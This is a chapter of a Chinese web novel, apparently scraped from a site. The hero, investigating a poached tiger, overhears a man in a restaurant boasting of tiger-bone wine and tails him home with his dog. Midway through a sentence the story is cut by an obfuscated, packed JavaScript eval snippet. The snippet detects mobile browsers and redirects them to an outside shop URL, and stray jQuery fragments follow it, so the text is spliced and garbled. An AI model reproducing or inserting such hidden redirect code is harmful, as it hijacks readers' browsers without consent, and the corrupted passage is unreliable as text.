赵利民看着异常严肃的钟信。
“警方正在全力调查,可虎豹公园太大,还没找到虎妈的踪迹。我估计,凶多吉少了。”
“虎妈是**的?”
“这……”
赵利民摇头,又是一声叹息。
“附近没有其他母虎,我怀疑,大概率被盗猎了。”
“有没有一种可能,成年公棕熊杀**它?”钟信追问。
“棕熊能不能杀老虎,有无数人问我。我只能说,迄今为止,没有任何一例被证实。”
钟信点点头,冷笑一声。
赵教授是最权威的虎豹研究专家,他说虎妈死于盗猎,就基本石锤了。
想起四个可怜的虎娃,钟信暗下决心。
进山!
就算翻遍虎豹公园,也要找出盗猎证据,将盗猎者送进监狱。
为四个虎娃讨回公道!
“阿信,相信咱们的有关部门,总有找到虎妈的那天。活要见虎,死要见尸!”
“我知道了,您还有话吗?”
“……”
一个小时后,钟信离开救助站。
他把汽车停在饭店外边,要一个包间,随便点几个菜。
薛琳打开笔记本电脑,剪辑探望虎崽的视频。
陆晚汐奋笔疾书,为视频写文案。
“先生,你们要的奶茶。”
女服务员送来三杯奶茶,放在三人面前。
“谢谢,十二点以后再上菜吧。”
钟信拿出一张百元大钞,放在托盘中。
“谢谢先生,谢谢!”
服务员愣了几秒,急忙鞠躬道谢,拿着小费美滋滋地走了。
“汐汐,咱们换个房间?”
钟信指着隔壁。
隔壁包间有人聚餐,嗓门都是大喇叭。
“不用了。”
陆晚汐摇头,继续修改视频文案。
“哎哟喂,我大哥来了,快坐快坐。”
“弟兄们都到了吧?”
“就差老五了,那个瘪犊子,每次都迟到。”
“……”
听着隔壁的对话,钟信皱起眉头。
他们说话好像吵架,喊那么大声干什么?
隔壁有四个人,正在生日聚餐,东道主是吐槽老五的老二。
不过听他们口音,应该是元宝镇靠近林区的人。
“老五来啦!”
“你这瘪犊子,敢让一群老哥哥等你,作死呀!”
“抱歉抱歉,刚才给朋友他爹治风湿病了。本来不想去的,人家非给两千块钱,没办法。”
隔壁的嗓门又大了几分。
“拉倒吧,别找这种搞笑的借口。”
“**懂医术吗,就给人家治病?”
“到时候再给人家治出一身病。”
老五被损得面红耳赤,立刻亮出转账界面。
包间里顿时沸腾了。
“哥哥们,有的时候吧,治病不要医术,有药就行。你们有灵丹妙药,也能治病。”
“瞧你嘚瑟的,你有啥灵丹妙药?俺爹类风湿,你给我整虎骨酒?”
“**!只要钱到位,虎骨酒管够。”
钟信猛回头,直盯着墙壁。
虎骨酒触动他本就敏感的神经。
他想起了被盗猎的虎妈。
“你们敢吹,我就敢信,反正闲着也是闲着。”
钟信看一眼认真工作的女孩们,起身离开包间。
刚才收小费的女服务,就在门外候着。
“先生,需要帮忙吗?”
女服务员甜甜一笑。
“小姐姐,客户总给我打电话,影响两个美女工作了。”
钟信指对门包间,道:“这个包间有人吗?”
“这个包间暂时没人预定,您先写着。”
女服务员掏出磁卡,打开了包间。
“多谢,麻烦你了。”
钟信再给她一百元小费。
服务员乐得眉开眼笑,急忙跑到前台,塞给前台小妹口香糖。
“菊花阁先不要安排客人,姐你吃饭。”
吩咐完前台小妹,服务员来到菊花阁外,往门口一站,不让任何人打扰钟老板。
钟信反锁屋门,进入空间茅屋。
正在院子里晒太阳的大灰,急忙跑进茅屋,静静地站在主人身边。
钟信摸摸他的头,看着墙上的观察镜。
镜子里,五个男人正在把酒言欢。
正在比谁吹的牛更大。
钟信看向给人治风湿病的老五。
这人尖嘴猴腮,一双眼珠特别大,看面相不像老实人。
“他有点面熟,好像在村里见过?”
钟信掏出手机,从各个角度拍摄他们的脸,着重拍摄老五。
“大灰,见过他吗?”
钟信让大灰看老五的照片。
大灰闻闻手机,看一眼照片,茫然地看着主人。
“等他们吃完,记住老五的气味
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17194791|197127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
钟信拍拍大灰的头。
老五他们的饭局刚开始,需要很久才能结束。
自己的包间,陆晚汐和薛琳还在埋头工作,估计也需要很久。
钟信等到十二点,离开空间。
“美女,安排上菜吧。”
钟信打开二维码,指了指老五的标间。
“咱俩加个微,他们走的时候,请通知我一下。”
女服务员急忙点头,扫码加钟信好友。
很快。
服务员送来四个家常菜,一碗紫菜蛋花汤。
“大叔,视频做好了,你看看。”
薛琳抱着笔记本电脑起身。
“直接发给陆少。你们两个看着搞吧,我相信你们。”
钟信挥挥手,让薛琳坐下。
“大叔,你好像有心事?”
陆晚汐问道。
钟信摇头,道:“快吃饭吧,不用管我。”
饭吃到一半,钟信收到服务员的信息。
老五他们已经离场。
钟信离开包间,加快脚步从老五等人身边经过。
他提前来到楼下,回到车里,从空间里取出大灰。
老五在路边等网约车,其他人都开车走了。
几分钟后,老五坐上网约车。
钟信开车跟着他,来到一片居民区。
他戴上口罩,牵着大灰假装遛狗,远远地跟在老五身后。
老五开门进家时,站在门口看向钟信。
钟信慢悠悠从他身边经过。
大灰伸出鼻子,闻老五的皮鞋。
老五急忙躲开两步。
而大灰突然闪开,从左边闪到主人右边。
“不好意思,这狗有点皮。”
钟信笑着道歉,急忙牵着大灰离开。
“汪汪……”
院子里拴着一条德牧,对着钟信狗叫。
老五轻哼了一声。
直到钟信的身影消失,他才走进院子,关上家门。
钟信回车上,觉得自己有点幼稚,疑心是不是太重了?
人家吹牛逼说虎骨酒,自己却跟踪上了。
“好吧,闲着也是闲着,万一有意外收获呢。”
钟信开车回饭店。
走着走着,忽然发现大灰有点不对劲。
它缩在后座上,安静得不正常。
钟信从他眼里看到了恐惧。
恐惧?
难道它刚才在老五身上,闻到了让它恐惧的气息?